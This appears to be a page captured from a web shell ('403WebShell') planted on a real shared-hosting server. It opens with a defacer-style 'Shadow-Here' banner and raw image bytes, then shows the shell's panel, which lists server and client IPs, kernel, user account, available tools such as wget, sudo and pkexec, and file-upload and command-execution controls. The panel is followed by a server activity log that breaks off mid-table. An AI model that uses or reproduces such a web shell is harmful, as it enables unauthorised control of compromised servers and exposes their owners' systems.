....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 66.235.200.170  /  Your IP : 3.128.190.205
Web Server : Apache
System : Linux gator4410.hostgator.com 5.14.0-162.23.1.9991722448259.nf.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 31 18:11:45 UTC 2024 x86_64
User : bmgxafte ( 1214)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/log/sa/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/log/sa/sar20250322
Linux 5.14.0-162.23.1.9991722448259.nf.el9.x86_64 (gator4410.hostgator.com) 	2025-03-22 	_x86_64_	(16 CPU)

00:00:01        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
00:01:01        all     21.20      3.59     19.69      0.12      0.01      0.00      0.24      0.00      0.00     55.16
00:01:01          0     19.09      1.02     21.37      0.10      0.00      0.00      0.97      0.00      0.00     57.44
00:01:01          1     22.23      9.34     17.91      0.08      0.00      0.00      0.22      0.00      0.00     50.22
00:01:01          2     23.16      0.90     19.45      0.20      0.02      0.00      0.14      0.00      0.00     56.14
00:01:01          3     22.96      2.34     20.14      0.08      0.02      0.00      0.05      0.00      0.00     54.41
00:01:01          4     21.16      2.57     19.82      0.05      0.00      0.00      0.03      0.00      0.00     56.36
00:01:01          5     22.43      1.18     21.08      0.12      0.00      0.00      0.08      0.00      0.00     55.10
00:01:01          6     20.15      1.35     19.69      0.17      0.00      0.00      0.03      0.00      0.00     58.61
00:01:01          7     23.52      1.12     19.14      0.22      0.00      0.00      0.02      0.00      0.00     55.99
00:01:01          8     22.72      1.69     19.64      0.07      0.02      0.00      0.02      0.00      0.00     55.85
00:01:01          9     22.11      0.83     20.09      0.27      0.00      0.00      1.32      0.00      0.00     55.37
00:01:01         10     19.44     13.23     17.71      0.12      0.00      0.00      0.02      0.00      0.00     49.49
00:01:01         11     18.71      2.13     20.29      0.05      0.00      0.00      0.88      0.00      0.00     57.94
00:01:01         12     22.87      1.94     19.30      0.15      0.02      0.00      0.00      0.00      0.00     55.72
00:01:01         13     20.51      1.86     20.51      0.12      0.00      0.00      0.02      0.00      0.00     56.98
00:01:01         14     18.32     13.10     18.15      0.10      0.02      0.00      0.00      0.00      0.00     50.31
00:01:01         15     19.75      2.85     20.71      0.05      0.00      0.00      0.00      0.00      0.00     56.64
00:02:01        all     19.35      1.05     17.41      0.09      0.01      0.00      0.28      0.00      0.00     61.82
00:02:01          0     18.03      2.00     17.33      0.05      0.02      0.00      0.84      0.00      0.00     61.73
00:02:01          1     21.09      1.03     17.20      0.07      0.00      0.00      0.34      0.00      0.00     60.27
00:02:01          2     20.42      0.27     16.96      0.15      0.00      0.00      0.17      0.00      0.00     62.03
00:02:01          3     20.24      1.84     15.93      0.07      0.00      0.00      0.12      0.00      0.00     61.81
00:02:01          4     19.83      0.81     17.26      0.08      0.02      0.00      0.02      0.00      0.00     61.98
00:02:01          5     19.14      0.31     17.54      0.14      0.00      0.00      0.03      0.00      0.00     62.85
00:02:01          6     18.94      0.25     17.72      0.05      0.00      0.00      0.03      0.00      0.00     63.01
00:02:01          7     17.91      3.61     17.03      0.08      0.02      0.00      0.03      0.00      0.00     61.32
00:02:01          8     18.51      0.58     17.14      0.08      0.00      0.00      0.02      0.00      0.00     63.67
00:02:01          9     18.99      0.14     18.38      0.07      0.00      0.00      1.70      0.00      0.00     60.72
00:02:01         10     18.07      1.94     17.72      0.05      0.02      0.00      0.02      0.00      0.00     62.19
00:02:01         11     23.09      1.75     16.47      0.07      0.00      0.00      1.10      0.00      0.00     57.53
00:02:01         12     17.61      0.24     18.85      0.22      0.00      0.00      0.02      0.00      0.00     63.07
00:02:01         13     18.22      0.20     18.13      0.20      0.02      0.00      0.02      0.00      0.00     63.21
00:02:01         14     18.63      0.15     18.15      0.05      0.00      0.00      0.02      0.00      0.00     63.00
00:02:01         15     20.83      1.65     16.78      0.03      0.00      0.00      0.00      0.00      0.00     60.71
00:03:01        all     20.57      1.30     19.11      0.10      0.01      0.00      0.25      0.00      0.00     58.67
00:03:01          0     21.19      5.85     18.58      0.14      0.00      0.00      0.59      0.00      0.00     53.64
00:03:01          1     21.52      0.43     17.75      0.19      0.02      0.00      0.27      0.00      0.00     59.83
00:03:01          2     20.36      0.25     19.92      0.14      0.02      0.00      0.17      0.00      0.00     59.15
00:03:01          3     19.86      0.36     19.88      0.09      0.00      0.00      0.07      0.00      0.00     59.74
00:03:01          4     20.84      0.50     19.47      0.09      0.00      0.00      0.02      0.00      0.00     59.09
00:03:01          5     21.72      1.82     17.55      0.07      0.00      0.00      0.03      0.00      0.00     58.82
00:03:01          6     19.06      0.39     19.81      0.10      0.00      0.00      0.03      0.00      0.00     60.61
00:03:01          7     18.19      0.20     20.39      0.07      0.00      0.00      0.02      0.00      0.00     61.13
00:03:01          8     19.16      0.14     19.67      0.10      0.00      0.00      0.02      0.00      0.00     60.92
00:03:01          9     20.83      1.20     20.08      0.05      0.02      0.00      1.57      0.00      0.00     56.26
00:03:01         10     18.56      3.34     18.98      0.05      0.00      0.00      0.00      0.00      0.00     59.07
